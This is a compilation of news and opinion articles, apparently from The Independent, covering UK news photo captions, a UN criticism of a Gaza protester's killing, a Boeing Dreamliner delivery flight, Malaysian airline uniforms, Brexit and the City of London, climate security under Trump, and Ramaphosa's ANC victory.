in pictures 7 November 2022 Handout photo issued by Just Stop Oil of a protester who has climbed a gantry on the M25 between junctions six and seven in Surrey, leading to the closure of the motorway PA UK news in pictures 6 November 2022 A grey seal with its pup, at the Donna Nook National Nature Reserve in north Lincolnshire, where they come every year in late October, November and December to give birth to their pups near the sand dunes, the wildlife spectacle attracts visitors from across the UK PA UK news in pictures 5 November 2022 Demonstrators with placards calling for a General Election march near the Houses of Parliament AFP via Getty Images UK news in pictures 4 November 2022 A peacock is seen in the early winter sunshine in the Dutch Gardens in Holland Park AFP via Getty Images UK news in pictures 3 November 2022 Florence Kasumba, Letitia Wright, Tenoch Huerta and Lupita Nyongo attend the European Premiere of Black Panther: Wakanda Forever in London Getty UK news in pictures 2 November 2022 A red squirrel gathers nuts in Pitlochry, Scotland Reuters UK news in pictures 1 November 2022 Englands Tara-Jane Stanley scores their sides seventh try against Brazil during the Womens Rugby League World Cup group A match at Headingley Stadium, Leeds PA UK news in pictures 31 October 2022 GBs James Hall competes during the mens parallel bars qualification at the World Gymnastics Championships in Liverpool AFP/Getty UK news in pictures 30 October 2022 People dressed in Halloween costumes paddle board along the river Avon in Christchurch, Dorset PA UK news in pictures 29 October 2022 Members of the public take pictures as police officers remove activists from a road during a Just Stop Oil protest, in London Reuters UK news in pictures 28 October 2022 A cosplayer attends the MCM Comic Con London 2022 at the ExCel Centre in London Reuters UK news in pictures 27 October 2022 98-year-old D-Day Veteran Bernard Morgan, whose story is among those featured on the giant poppy wall, during the launch of The Royal British Legion 2022 Poppy Appeal, at Hay's Galleria in central London PA UK news in pictures 26 October 2022 A meerkat explores a pumpkin in the enclosure at Wild Place, Bristol, where some of the animals are having pumpkin treats as part of their environmental enrichment PA UK news in pictures 25 October 2022 King Charles III welcomes Rishi Sunak during an audience at Buckingham Palace, where he invited the newly elected leader of the Conservative Party to become Prime Minister and form a new government PA UK news in pictures 24 October 2022 Rishi Sunak celebrates with Tory MPs outside the Conservative Campaign Headquarters after becoming the new leader of the Conservative Party Reuters UK news in pictures 23 October 2022 The Green Man at October Plenty, Borough Market's annual Autumn Harvest festival, in London, which returns for the first time post pandemic PA UK news in pictures 21 October 2022 Sculptor Peter McKenna puts the finishing touches to a pumpkin that will form part of the Planet A Hebden Bridge Pumpkin Trail in the West Yorkshire town PA UK news in pictures 20 October 2022 Britains Prime Minister Liz Truss delivers a speech outside of 10 Downing Street in central London to announce her resignation AFP/Getty UK news in pictures 19 October 2022 Salmon leap up Stainforth Force on the River Ribble in the Yorkshire Dales as they swim upriver to their spawning grounds during the annual Salmon migration PA UK news in pictures 18 October 2022 Just Stop Oil protesters continue their protest for a second day on the Queen Elizabeth II Bridge, which links Kent and Essex and which remains closed for traffic, after it was scaled by two climbers from the group PA UK news in pictures 17 October 2022 Hundreds of students take part in the traditional Raisin Monday foam fight on St Salvator's Lower College Lawn at the University of St Andrews in Fife PA UK news in pictures 16 October 2022 A protester holds a placard during a march into central London at a demonstration by the climate change protest group Extinction Rebellion AFP/Getty UK news in pictures 15 October 2022 A member of the public drags an activist who is blocking the road during a "Just Stop Oil" protest, in London, Britain REUTERS UK news in pictures 14 October 2022 Germanys Womens double skulls during day one of the World Rowing Beach Sprint Finals at Saundersfoot beach, Pembrokeshire PA UK news in pictures 13 October 2022 Family and mourners arrive at St Michael's Church, in Creeslough, for the funeral mass of 49-year-old mother of four Martina Martin, who died following an explosion at the Applegreen service station in the village of Creeslough in Co Donegal on Friday PA UK news in pictures 12 October 2022 Motorists in Coventry pass trees showing autumnal colour PA UK news in pictures 11 October 2022 A woman and her dog in the the North Sea at Tynemouth Longsands beach before sunrise PA UK news in pictures 10 October 2022 Police officers remove a campaigner from a Just Stop Oil protest on The Mall, near Buckingham Palace, London PA UK news in pictures 9 October 2022 A drummer plays during the Diwali on the Square celebration, in Trafalgar Square, London PA UK news in pictures 8 October 2022 Timothee Chalamet attending the UK premiere of Bones and All during the BFI London Film Festival 2022 at the Royal Festival Hall, Southbank Centre, London PA UK news in pictures 7 October 2022 Two young male fallow deer lock antlers in Dublins Phoenix park as rutting season begins PA UK news in pictures 6 October 2022 The Princess of Wales during a cocktail making competition during a visit to Trademarket, a new outdoor street-food and retail market situated in Belfast city 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He said Ms Dykes was strangled and that investigators were still working to establish whether Ms Dykes was sexually assaulted.

The diplomat reportedly got into an Uber taxi after attending a colleague's leaving party on Friday night at a bar in the popular Gemmayzah district. She was set to return to the UK for Christmas the next day.
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The UNs human rights chief has criticised the killing of a disabled Palestinian protester at the border fence between Gaza and Israel, saying evidence gathered by his staff points to the use of excessive force.

Zeid Raad Al Hussein said he was truly shocked at the killing of Ibrahim Abu Thuraya by Israeli security forces, and has called on Israel to launch an independent investigation into the incident, which took place 15 November.

The Palestinian Authoritys health ministry said Mr Thuraya was shot just east of Gaza City, with the Israeli army saying it opened fire on the main instigators of violent protests at the Gaza border.

Protests have erupted throughout the West Bank, including East Jerusalem and in occupied Gaza, since Donald Trumps decision earlier this month to officially recognise Jerusalem as Israels capital.

The response by Israel has left five people dead and hundreds injured and led to mass arrests of Palestinians, the Office of the United Nations High Commissioner for Human Rights (OHCHR) said.

The facts gathered so far by my staff in Gaza strongly suggest that the force ustyhued against Ibrahim Abu Thuraya was excessive, Mr Zeid said. International human rights law strictly regulates the use of force in the context of protests and demonstrations.

 Timelapse footage shows scene as undercover Israeli soldiers start arresting Palestinians during protest

The lethal use of firearms should only be employed as the last resort, when strictly unavoidable, in order to protect life. However, as far as we can see, there is nothing whatsoever to suggest that Ibrahim Abu Thuraya was posing an imminent threat of death or serious injury when he was killed.

Given his severe disability, which must have been clearly visible to those who shot him, his killing is incomprehensible  a truly shocking and wanton act.

The Israeli army announced on Monday it was launching an investigation. The results were presented to Major General Eyal Zamir, head of the Southern Command, on Monday.

The Israel Defence Forces (IDF) said in a statement: No live fire was aimed at Abu Thuraya. It is impossible to determine whether Abu Thuraya was injured as a result of riot dispersal means or what caused his death.

The initial investigation indicates that no moral or professional failures were identified, a spokesperson said.

Maj-Gen Zamir stated that the commanding officers took proactive positions during the entire riot. He also noted that troops showed restraint in the use of force. This, in order to protect the sovereignty of the State of Israel, to prevent infiltration and harm to security infrastructures.

They added: Despite numerous IDF requests for information, no precise details or conclusions regarding Abu Thurayas injuries were received. If additional details will be received, they will be examined and studied.

Mr Thuraya had lost his legs and a kidney in an air strike, according to local reports, and was regularly seen with other Palestinian activists at protests.

He was injured in 2008 by an Israeli helicopter that targeted him after he brought down the Israeli flag and raised the Palestinian flag along the border, his brother Samir told AFP .

Palestinians clash with Israeli troops during 'Day of Rage' Show all 18 1 /18 Palestinians clash with Israeli troops during 'Day of Rage' Palestinians clash with Israeli troops during 'Day of Rage' Israeli forces scuffle with Palestinians at Damascus Gate in Jerusalem's Old City AFP/Getty Images Palestinians clash with Israeli troops during 'Day of Rage' A Palestinian protester hurls stones as tear gas is fired by Israeli troops Reuters Palestinians clash with Israeli troops during 'Day of Rage' A Palestinian protester runs during clashes with Israeli troops REUTERS Palestinians clash with Israeli troops during 'Day of Rage' Israeli forces scuffle with Palestinians at Damascus Gate in Jerusalem's Old City AFP/Getty Images Palestinians clash with Israeli troops during 'Day of Rage' Palestinian protesters run during clashes REUTERS Palestinians clash with Israeli troops during 'Day of Rage' Israeli border policemen and a Palestinian protesters clash REUTERS Palestinians clash with Israeli troops during 'Day of Rage' Palestinian protesters react to tear gas REUTERS Palestinians clash with Israeli troops during 'Day of Rage' Israeli border policemen hold on to a Palestinian protester REUTERS Palestinians clash with Israeli troops during 'Day of Rage' Palestinian protesters react to tear gas fired by Israeli troops REUTERS Palestinians clash with Israeli troops during 'Day of Rage' Israeli border policemen and Palestinians scuffle after Friday prayers in Jerusalem's Old City REUTERS Palestinians clash with Israeli troops during 'Day of Rage' A Palestinian protester moves a burning tire during clashes with Israeli troops REUTERS Palestinians clash with Israeli troops during 'Day of Rage' Worshippers chant as they hold Palestinian flags after Friday prayers Reuters Palestinians clash with Israeli troops during 'Day of Rage' A Palestinian protester hurls back a tear gas canister fired by Israeli troops REUTERS Palestinians clash with Israeli troops during 'Day of Rage' A wounded Palestinian protester is evacuated during clashes with Israeli troops REUTERS Palestinians clash with Israeli troops during 'Day of Rage' Israeli border policemen and a Palestinian youth scuffle REUTERS Palestinians clash with Israeli troops during 'Day of Rage' Israeli border policemen detain a Palestinian man REUTERS Palestinians clash with Israeli troops during 'Day of Rage' A Palestinian protester uses a sling to hurl stones towards Israeli troops REUTERS Palestinians clash with Israeli troops during 'Day of Rage' Journalists react to tear gas fired by Israeli troops REUTERS

It did not stop him from demonstrating for Jerusalem. He went alone every day to the border.

The biggest outbreak of violence since Mr Trumps announcement has been in Gaza, where three people have been killed and hundreds more injured as protesters burned tyres, threw stones, sang songs and waved flags along the fence. Israeli security forces responded with firearms to disperse the protesters, OHCHR said.

This level of casualties raises serious concerns as to whether the force used by Israeli forces was properly calibrated to the threat, Mr Zeid said. And these events, including the loss of five irreplaceable human lives, can sadly be traced directly back to the unilateral US announcement on the status of Jerusalem, which breaks international consensus and was dangerously provocative.

At the same time, I unequivocally condemn all attacks against civilians, including the indiscriminate shelling of Israeli civilian areas by armed Palestinian groups operating out of Gaza.

The Independent has contacted the Israeli embassy for comment.
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Welcome to the largest building in the world, the guide says as we trundle around the Boeing factory in a chain of buggies. The building is a series of hangars around a mile in length, and houses aeroplane parts from screws and rivets up to, well, whole aircraft  three jets stand in various stages of completion as I glance to my right.

Boeing makes four planes here, the 747, 767, 777 and 787, also called the Dreamliner, which is the one Ive come to see. Todays the day that British Airways takes delivery of its twenty-fifth Dreamliner, which means that once its written the cheque for it, the company can fly it home.

BA has a large fleet: 273 craft in all, and also has orders for Airbus A350s, the newest plane in the sky, due to arrive soon.

Boeings factory is near Seattle in Washington state, but also on the lot with the massive hangar is, conveniently, a full-size runway, so we can fly to London from here.

The factory production line at Boeing is staggeringly big, with remarkable and unexpected details, like the huge weights suspended from the wings being attached to the 777 nearby, to compensate for the engines which will eventually be slung into place.

These are the engines with the distinctive saw-tooth rear profile so beloved of plane-spotters.

Or the cutaway demonstration area of the 787 which, because its made of carbon fibre, is breathtakingly thin: less than an inch thickness of this material, it seems, hangs above your head at the top of the plane. Try not to think about it, I tell myself.

Boeing Everett has a staff of around 30,000 and some of them are walking down the carefully marked pedestrian lanes, staffing areas where rivets and fasteners sit in wire cages or, oh look, one guy just climbed inside an impossibly small cavity in a wing that is casually suspended in one corner.

The tour guide, who has previously worked on a Presidential bodyguard team, he tells us, explains how twice each day the aircraft edge a little closer to the hangar doors as they gently near completion. A 777 takes 56 days to complete, a 787 a little longer.

The just-in-time scheduling common to many industries is taken to an extreme here, with parts arriving to be installed often literally hours before they are needed.

He has many more stats up his sleeve. The cost of aircraft seats, for instance. Of course, these are custom-designed for each airline but the average cost of an Economy seat is $30,000, while Premium Economy costs $50,000. Those sophisticated Business class seats that fold into a flatbed? $250,000, were told, while first class passengers are luxuriating in a seat which costs an average of $1 million.

The flight tonight is on a Dreamliner 787-8, which means theres no First Class cabin on board, but the 787-9 planes BA owns, which are that bit longer, have the companys latest suite-style First Class seat on board and these certainly look like they could cost seven figures. BA is also due to take ownership of 12 787-10 planes, longer still than the Dash-9, from 2020.

Tour over, were guided to the waiting room where we can see the plane whose first flight well be taking. Im happy to see theres a red carpet at the bottom of the steps. Likely the only time Ill experience this unless I gain high office. Or marry someone who has, I suppose. But before we can board, theres a ritual that is part of the delivery flight. Our bags have been weighed and now we have to be weighed, too. As BA says, they know exactly how much the plane weighs when its empty but not with 35 people on board. This exact weight business is so the BA maintenance staff on board can keep a fully-informed eye on exactly how the plane is performing.

Finally, were taken to passport control and our bags are screened in regular metal detectors in the Boeing building. And from there, were walked out to the plane. There are jet bridges at the Boeing Delivery Centre, too, but these are occupied with two 747s about to be delivered to another customer.

Im warmly greeted on board by the pilots, two British Airways captains, This is a nice touch. Id like it on every plane, please. With so few people on board, it meant that everyone could sit in the Club World cabin. I lucked out and had a window seat.

The plane has been taken into the air by Boeing staff first and by BA pilots after that.

It's had a total of just a few hours in the air, Im told, which isnt especially reassuring before a nine-hour, 5,000-mile flight. And it means, Im told when were airborne, that London will be only the third landing the plane has made. Dont think about it, I catch myself musing again.

The food and drink on board tonights 787, by the way, is not endless, free-flowing champagne. No bubbles at all, in fact. Thats because the catering comes from Boeing, not BA, and though the food is perfectly fine, BA business class it aint.

Still, theres a celebratory atmosphere on the delivery flight, champagne or no, with a pilot recording a video interview in one corner, journalists grabbing snaps in another and a tour of the staff rest quarters in another. This last, by the way, is through a door youve almost certainly never noticed, up a steep metal ladder to a set of four small bunks. Its a bit like finding a doorway into a secret world. I mean, its not luxurious or anything, but its just a complete surprise to even seasoned travellers.

One of the benefits of the carbon fibre composite construction of the 787 is that the cabin can be more highly pressurised than aluminium planes. Boeing says that its equivalent to an altitude of 1,800m (roughly 6,000 feet) where older conventional aircraft are only pressurised to the equivalent of an altitude of 2,400m (around 8,000 feet). The cabin air is denser and has more oxygen saturation, meaning the body doesnt have to work as hard to oxygenate the blood.

Recommended This BA pilot is filming from the flight deck to demystify his job

The result is meant to be that theres less jet lag after a long time in the air when the pressure is just that bit closer to how it is on the ground. While it is possible to have lower cabin pressure on an aluminium plane, it creates greater stress which increases metal fatigue and shortens the planes lifespan.

Almost every long-haul passenger is familiar with the announcement, 40 minutes before landing, that our destination is near. This time, though, the captain warns us that on landing at Heathrow, there will be a delay before we disembark. Thats while BA formally declares the plane to import it into Britain, with form-filling completed by customs staff and BA officials. The plane was now registered in the UK.

And thats it.

The plane touched down, in a perfectly smooth landing, from its delivery on Friday lunchtime. Its first commercial flight was less than 48 hours later, after exhaustive BA checks in London, flight BA095 to Montreal.
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Malaysias budget airlines have come under fire for their sexy cabin crew uniforms.

Two politicians from the ruling party criticised AirAsia and Firefly for having crew outfits that are too revealing, reports the New Straits Times.

Senator Abdullah Mat Yasim, a division chief of the Umno party, was reported as saying the female flight attendants uniforms could arouse passengers, and that they did not represent Malaysias official status as a Muslim country.

The Malaysian Aviation Commission must really look into this, said Senator Abdullah during a parliamentary debate on the MAVCOM (Amendment) Bill 2017 on 18 December.

Senator Megat Zulkarnain Omardin agreed with this viewpoint, suggesting the airlines consider redesigning the uniforms.

My wife is worried whenever I fly alone on Malindo or AirAsia, he joked. This is a real hassle for me.

Senator Abdullah said he believes Malindo Air uniforms are acceptable  as, despite being tight fitting, they cover the sensitive areas  but that Firefly and AirAsia's are not.

Dewan Negara (the upper house of the Parliament of Malaysia) deputy president Abdul Halim Abd Samad applauded Senator Abdullah for raising the issue, saying: This is a good topic that many people can relate to as they always take flights.

Its not the first time airline uniforms have been brought up in Malaysias parliament; last week Senator Hanafi Mamat was reported as arguing that cabin crew should wear uniforms that conform to Sharia Law as Malaysia is an Islamic country.

He said that tourists could be given the wrong impression about Malaysia by flight attendants dressed sexily and disrespectfully.

The AirAsia uniforms for females are comprised of white shirts, fitted red jackets and mid-thigh length red skirts with a slit up the side. The Firefly uniform is a form-fitting orange dress that ends just above the knee with a slit up the side, while the Malindo outfit for women consists of a white cardigan and floor-length purple patterned skirt.
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Q. EU Chief Negotiator Michel Barnier says that Britain cannot have a bespoke trade deal that includes financial services. Is he right?

He may have over-reached himself. Barnier also points to a key meeting of EU heads of government in March at which point they will give him his red lines for the trade talks. It could be that they take a hard line and rule out any agreement involving financial services; or they may leave more room for discretion and negotiation; or they may even order Barnier to reach an agreement that protects the various financial institutions and users of financial services in Europe, i.e. allows them to retain access to one of the worlds leading financial centres of pure liquidity (i.e. lots of money swilling around) and expertise  London, which has created formidable economies of scale and leads the world in fintech.

Q. So is it just a negotiating position?

Yes, and necessarily so, in the sense that everything any trade negotiator ever says in public has an element of tactics and bluff to it  and that applies to David Davis too. On the other hand, Barniers own belief that the British cannot cherry pick the elements of the EU they like and leave the more onerous obligations behind is perfectly sincere, and is broadly shared by the remaining members of the EU.

The experience of phase one of the talks suggests that some pragmatism usually intrudes in the last days before a deadline.

Q. How will Brexit affect the City of London and Canary Wharf?

It depends. If the EU erects substantial barriers to UK financial firms operating in Europe, then some personnel will need to be transferred over to the EU for some functions. Areas that would be potentially affected include trading in financial instruments where clearing is in euros; banks, insurance companies and investment and pension fund managers attempting to sell financial products and advice directly to EU entities, i.e. funds, companies or individuals; and the movement of any professionals seeking to work in the EU post-Brexit. The reverse side of the coin that says the UK can regain control of its borders is that the EU can regain control of its frontiers too. In other words a British banker might be required to apply for a visa to live and work in Frankfurt or Paris, say (though perhaps not for Dublin, if the Ireland-UK common travel area survives).

Q. Will jobs be lost?

It is difficult to envisage a set of circumstances in which no jobs would be lost in the short term, and, obviously, much depends on the nature of any eventual EU-UK deal and how much new business can be attracted through deals with, say, China and India, or even the US.

If so-called passporting rights are lost then London-based firms  which could be Swiss, Japanese, British, American, European or Chinese entities  would lose the rights to sell directly into the EU. They would then have to move operations across the Channel.

If the EU insisted on the actual transactions and conduct of business happening physically on EU soil many jobs could go; if they allowed for brass plate subsidiaries or branches to operate as mere legal cover (as in tax havens such as the Channel Islands) for the real action in London, then far fewer jobs could go.

Currently British-based firms (which include the London subsidiaries of giant US investment banks such as Goldman Sachs and JP Morgan) in the medium to long term, would suffer from a disadvantage in operating from London in the large  and prosperous  European Economic Area after Brexit. Then again many of those London-based banks and institutions would suffer from splitting their operations around different centres, and lose out on the pool of liquidity and expertise that presently rests in London. The only real winners might be alternative centres outside Europe, such as New York or Dubai.

Q. How many jobs will go?

Estimates vary wildly. Some areas, such as hedge funds or commodity trading would barely affected by Brexit; others such as trading in euro-denominated bonds, shares and derivatives maybe much more so. Ernst and Young have recently estimated Day One losses at 10,500, and guesses of up to 75,000 or 100,000 have been bandied about for the longer run. Moreover these are highly paid positions, with tax revenues to the Treasury to match. House prices, fancy restaurants, luxury car dealers and champagne sales in London would be hit.

Q. Who gains?

The general effect seems to be that no single EU centre will emerge to challenge London. Paris is the new home of the European Banking Authority, though much work is still done by the Commission in Brussels, and the European Central Bank stays in Frankfurt. Dublin, Paris, Amsterdam and Milan are the other cities vying for the relocation of jobs. It will be fragmented.

Q. How does Switzerland manage  theyre not in the EU but have famously big banks and a thriving financial services sector? Why cant we be like them?

This is instructive for Theresa Mays ambitions for a bespoke deal.

One of the oddities of Barnier's latest pronouncements is that he states that no free trade deal exists which allows for financial services, yet there is such an arrangement  though only partial  between Switzerland and the EU. The point here is that Switzerland is outside the European Union and the Economic Area, but inside the single market, and therefore does assent to freedom of movement of labour, and has, thus, gained access to the European single market in financial services  but, ironically, only by basing so many of its operations in subsidiaries in London: it has no direct passporting rights in some sort of bespoke deal. With London outside the EU single market, then the Swiss, like everyone else would move some operations from London to somewhere else inside the EU. The crucial point against Davis is that Swiss financial institutions do not enjoy easy passporting rights. The point against Barnier is that Switzerland does provide an exception, of sorts, to his simple rule.

 Theresa May says UK trade deals could be signed during Brexit process

Besides all that, the EU finds the complication of the Swiss deal irksome, having to keep negotiating on trade every time some new EU Directive or Swiss initiative threatens to create regulatory divergence in areas such as agriculture. The Swiss, on their side, also have no direct say or votes in European law and decision making on single Market rules (in Brexiteer terms they are a vassal state or colony of the EU).

Perhaps most tricky for Brexiteers is that Switzerland not only accepts the right of EU nationals to work in their country but they are also part of the visa-free border-free Schengen Agreement. Despite some Swiss pushback on this, it remains formally the case, and, again, suggests the Swiss example might not be that acceptable to the anti-EU forces in the UK.

So the Swiss example may not turn out to be such an encouraging one for the UK's finance sector.

Q. Does the EUs MFID II change anything? What is MFID II? Cant we just let London let rip after Brexit, free of EU red tape?

MFID II is merely the latest in a long-line of EU regulations, the Markets in Financial Instruments Directive Number Two. Many in the City fear it more than Brexit, as it toughens regulation of financial products and requires more openness and transparency about transactions, for example revealing who is really behind them. It also pushes its jurisdiction beyond EU territory so that any transaction that takes place that affects an EU entity will be covered (including, presumably, in post-Brexit London as well as New York or Hong Kong).

It proves a point, however. If the UK decided it could win more business by ignoring MFID, and deregulating, then it could  except that the EU could retaliate by restricting the ability of London to conduct such business with EU banks and finance houses. It is a perfect and important example of the present convergence v divergence debate. If winning extra business through divergence risks losing even more because the EU will damage that trade, then many would wonder whether Brexit plus MFID II is really better than the status quo (where the UK can influence EU rule making via its voting power and political clout).

There is also the small point that radical deregulation of financial markets helped contribute to the extremely costly banking crisis of 2009, one that vastly inflated the UKs national debt.
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The City of London is grappling with a Corbyn-shaped paradox. Its no secret that the Square Mile has traditionally leaned Conservative. And many in the City instinctively recoil from Labour under Jeremy Corbyn and John McDonnell, with their manifesto that plans to hike income taxes on top earners and their long-standing antipathy to financiers.

Yet, at the same time, the reality is that Labour has a manifestly more City-friendly Brexit position than the Tory party.

Theresa Mays fateful speech almost a year ago committed her Government to yanking the UK out of the single market and quashed the idea of any continuing role for the European Court of Justice in the UK. As the EU negotiating side has made clear, on multiple occasions, those two decisions spell death for UK-based financial firms passport, or their ability to sell their services right across the European Union. If they wish to continue serving mainland European clients they will have to establish (or beef up) subsidiaries on the European mainland itself at considerable cost and hassle. And these entities will be regulated by the EU, rather than the UK, authorities.

Labours position on the single market is much less hard line than Theresa Mays. Keir Starmer, the partys Brexit spokesperson, recently suggested Labour might seek to remain within the single market even after the two-year or so transition period that is supposed to begin in March 2019 has expired.

 EU to move key agencies from London to France and Netherlands

Even if that didnt materialise, Labours position is far more likely to secure the kind of regulatory equivalence agreement for UK financial firms, under which the British financial authorities would agree to shadow EU rules in return for a reasonable degree of freedom for British-based companies to operate on the continent. This would minimise the disruption for the Citys lucrative mainland European business.

But regulatory divergence is one of the central objectives of Brexit for influential elements in the Conservative party. Regulatory equivalence for the UK would only be feasible with some degree of deference to the EU institutions. One can already hear the cries of vassal state forming in the throats of pro-Brexit Tory backbenchers in response to that idea.

Imperfect as they both are, if most bank bosses and financial sector workers were asked to choose between the Labour and Conservative positions on the single market (abstracting from their other policies and leading personalities) its pretty easy to guess which they would find more appealing.

And what about those policies and personalities? Recently I asked an asset manager what would be worse: hard Brexit or a Jeremy Corbyn-led government? Corbyn, he said. Hard Brexit would be a V-shaped recession: fall and then rapid recovery. But Corbyn would do damage forever.

UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 17 November 2022 Chancellor of the Exchequer Jeremy Hunt leaves 11 Downing Street, London, for the House of Commons to deliver his autumn statement PA UK news in pictures 16 November 2022 Emma Woolf, great niece of British author Virginia Woolf, and her son Ludovic sit next to a new bronze statue of Woolf, unveiled in Richmond, London Reuters UK news in pictures 15 November 2022 Lesley Sutcliffe shelters from the rain next to a life-sized replica of the innermost coffin of King Tutankhamun by artist Amanda Stoner as it goes on display inside a traditional red telephone box which has been converted into a museum, in Barnsley, South Yorkshire PA UK news in pictures 14 November 2022 Members of the hospitality sector demonstrate outside parliament in London. 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Haaland went on to score a hattrick, his third of the season in the Premier League. City beat United 6-3. Manchester City FC/Getty UK news in pictures 1 October 2022 Protesters hold up flags and placards at a protest in London. A variety of protest groups including Enough is Enough, Don't Pay and Just Stop Oil all demonstrated on the day AFP/Getty UK news in pictures 30 September 2022 British Prime Minister Liz Truss, who has not been seen in days, leaves the back of Downing Street after a meeting with Office For Budget Responsibility following the release of her governments mini-budget Getty UK news in pictures 29 September 2022 The Virginia creeper foliage on the Tu Hwnt i'r Bont (Beyond the Bridge) Llanwrst, Conwy North Wales, has changed colour from green to red in at the start of Autumn. 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That opinion was based on the view that a Corbyn-led government would indiscriminately attack private property rights, tax the rich until the pips exploded, nationalise everything in sight and turn the country into a damper Venezuela.

But how credible is such a view? Its certainly not based on the partys manifesto, which was, despite the hysterical media reception, essentially a vision of a mainstream social democratic European nation. And McDonnell has been actively trying to calm the nerves of City firms over imminent expropriation in recent months, with his tea offensive.

There are some decent people in politics, not one-eyed anti-Labour partisans, who genuinely believe this image of geniality and moderation is an act and that the current leadership truly are secret Stalinists, concealing their true intentions. But, of course, its not merely the City that needs to reach a judgment on that score.

Meanwhile, its worth recognising that the City itself is a somewhat paradoxical place. Theres certainly plenty of right-wing ideology and political tribalism in the Square Mile. But theres plenty of pragmatism too. Indeed, one of the Citys major projects in recent years has been sucking up to the Communist regime in Beijing in order to become a major offshore hub for trading the Chinese currency.

The Citys a much more diverse place than sometimes recognised too. Theresa Mays citizens of the world complaint was hardly designed to charm the tens of thousands of foreign-born bankers, traders, economists, accountants, lawyers and IT technicians who turn the wheels there.

Competence matters too. And thats an area in which the current Government, with its failure even to commission a formal economic impact assessment on leaving the single market, has left many in the City dismayed. Theres an evolving view among our clients that Corbyn and McDonnell cant be much worse than the current mob, says one stockbroker.

Dont expect the City of London to become a cheerleader for Corbyn. But, equally, dont be surprised when the Square Mile proves rather more open-minded to a political change than its bowler-hatted, Labour-hating, stereotype implies.
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Tough on Twitter, Donald Trump is fast turning out to be one of the riskiest presidents on national security this country has seen in recent years. While demanding a larger defence budget and boasting of his military credentials, Trump is ignoring one of the biggest threats to long-term US security: climate change.

Human civilisation has been built on an assumption. The patterns of rainfall that enable us to grow food, the limits of heat we normally experience and even the level of our seas have remained relatively stable in modern times.

Climate change is shaking these foundations and with that threatening livelihoods, affecting our ability to feed ourselves and so driving instability.

From the conflict in Syria to the Arab Spring, we are already seeing climate being one of the factors that is driving conflict, often through drought.

Dont take my word for it, thats also the view of US Secretary of Defence James Mattis.

 Trump praises withdrawl from 'expensive and unfair' Paris climate agreement

Climate change is impacting stability in areas of the world where our troops are operating today, Mattis said in a written statement to the Senate earlier this year.

He added: I will ensure that the department continues to be prepared to conduct operations today and in the future, and that we are prepared to address the effects of a changing climate on our threat assessments, resources, and readiness.

If a legendary Marine General nicknamed Mad Dog is worried, we all should be.

And yet we have news this week that climate change, under the orders of the President, is likely to be removed as a priority from the US National Security Strategy. This despite the 2015 US National Security Strategy identifying climate change as a top-level strategic risk to US interests, listing it alongside other risks like catastrophic attack on the US homeland or critical infrastructure  global economic crisis  proliferation and/or use of weapons of mass destruction and severe global infectious disease outbreaks.

And this despite 13 federal agencies this November releasing a report warning the US will likely face more floods, hurricanes and heat waves as a result of manmade global warming.

The study found that every part of the US has been impacted by warming, with temperatures in Alaska rising faster than anywhere else in the country.

Sea levels are expected to rise 1.5ft in the next 20-50 years, according to a separate Pentagon report issued in 2014. This is not only a problem for the rest of the world, but for the US where our key navy base in Norfolk, Virginia faces regular flooding that puts our Navys own operational capability at risk.

Hurricane Harvey prevented vast shipments of food and fuel entering Houston this November, and similar superstorms cripple infrastructure and slow trading routes to a crawl.

But this is not simply a story about the US. In our interconnected world we all face risks from catastrophes that take place hundreds of thousands of miles away. Many of our allies understand this.

Earlier this year G7 ministers collectively recognised that climate change is a threat to food security, with drought, floods and pest infestations impacting food production.

Writing last week ahead of a summit in Paris, Theresa May spoke of the moral imperative for developed economies to tackle climate change.

Addressing the UN Security Council last Friday Mark Field, minister of state for the Foreign Office, said it was irrefutable that tackling it was key to peace, security and development.

The former Australian prime minister Kevin Rudd and Iraqs water minister Hassan Janabi are among 40 experts who recently signed the Hague Declaration on promoting climate security.

Deleting from US security strategy what may seem an inconvenient problem will not make it disappear. In fact it will only make the US, and the world, a more dangerous place.

Im reminded of Admiral Samuel J Locklear III, head of the US Pacific Command, who in 2013 was asked about the most serious long term threat to the Asia-Pacific region.

This is a man who was facing down increased Chinese aggression, tasked with the defence of Taiwan and who was responsible for US forces in North Korea. His answer? Climate change.

Sherri Goodman is a former US deputy undersecretary of Defence, 1993-2001, and a senior fellow at the Woodrow Wilson International Center.
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South Africas nearly man has made it, and nearly too late. After decades at the top of the African National Congress, Cyril Ramaphosa has at last risen to the top. Naturally overshadowed by Nelson Mandela and later outmanoeuvred by Mr Mandelas successor, Thabo Mbeki, Mr Ramaphosa nearly didnt win the election to be his partys leader, with the tiniest of majorities confirming his victory over Ms Zuma, former wife to President Jacob Zuma and a significant figure in her own right.

The question often asked in South Africa now is what Mr Ramaphosa will do with Mr Zuma. Although intimately linked, what they really should be asking is what Mr Ramaphosa will do with South Africa.

The new ANC president finds himself in an awkward position in more ways than one. Campaigning more or less openly against the corruption and misgovernment of the Zuma years, he ought to move swiftly to prosecute Mr Zuma on at least some of the hundreds of charges of corruption that have been laid against him (though he has not been charged with any, and denies them all).

Indeed, corruption is too timid a term for Mr Zumas activities, which are about much more than a few bribes to minor officials here and there. In South Africa they have a name for it: state capture, encompassing the idea of a nation being looted by its president, his family and cronies on a grand scale.

Even if a portion of the claims about the activities of the Gupta family are correct, then South Africa was indeed being systematically handed over to private interests, vast amounts of money being appropriated through crooked commercial deals, jobs for family members and the requisitioning of state facilities and machinery for the private enjoyment of that family and, presumably, others in Mr Zumas circle. The leak of a massive cache of emails from the Guptas revealed the extent of their penetration of the South African state, as well as how they used the British-based  and now busted and disgraced  PR firm Bell Pottinger to pursue their interests by stirring up racial tensions. They, it is alleged, openly attempted to bribe public officials and interfere in the appointment of the minister of finance (the internationally respected Pravin Gordhan was disastrously dropped by President Zuma).

 Cyril Ramaphosa elected as ANC president

Yet Mr Ramaphosa is in no position to pursue Mr Zuma, or at least without risk. Mr Zuma remains as President until the 2019 elections, and retains control of most of the levers of the state. He has many allies still in the ANC, an increasingly riven and factional organisation. Mr Ramaphosa could choose to put pressure on Mr Zuma to quit, or use the ANCs constitutional machinery to recall him, as happened with President Mbeki, but it is not certain such moves would succeed. Bloodshed in such circumstances, overlaid as the arguments are by ethnic differences, is all too possible.

Mr Ramaphosa, then, might be better off planning ways to fix South Africas beleaguered economy, rather than how to fix Mr Zuma. Mr Ramaphosa was supported by the business community  and, let us be frank, powerful and rich white commercial interests  precisely because he was less likely to make a grab for their assets than Ms Zuma. No one in South Africa would expect or countenance anything like the chaotic takeover of white farms that occurred in Mugabes Zimbabwe, but many were worried that the effects on the South African economy would be much the same.

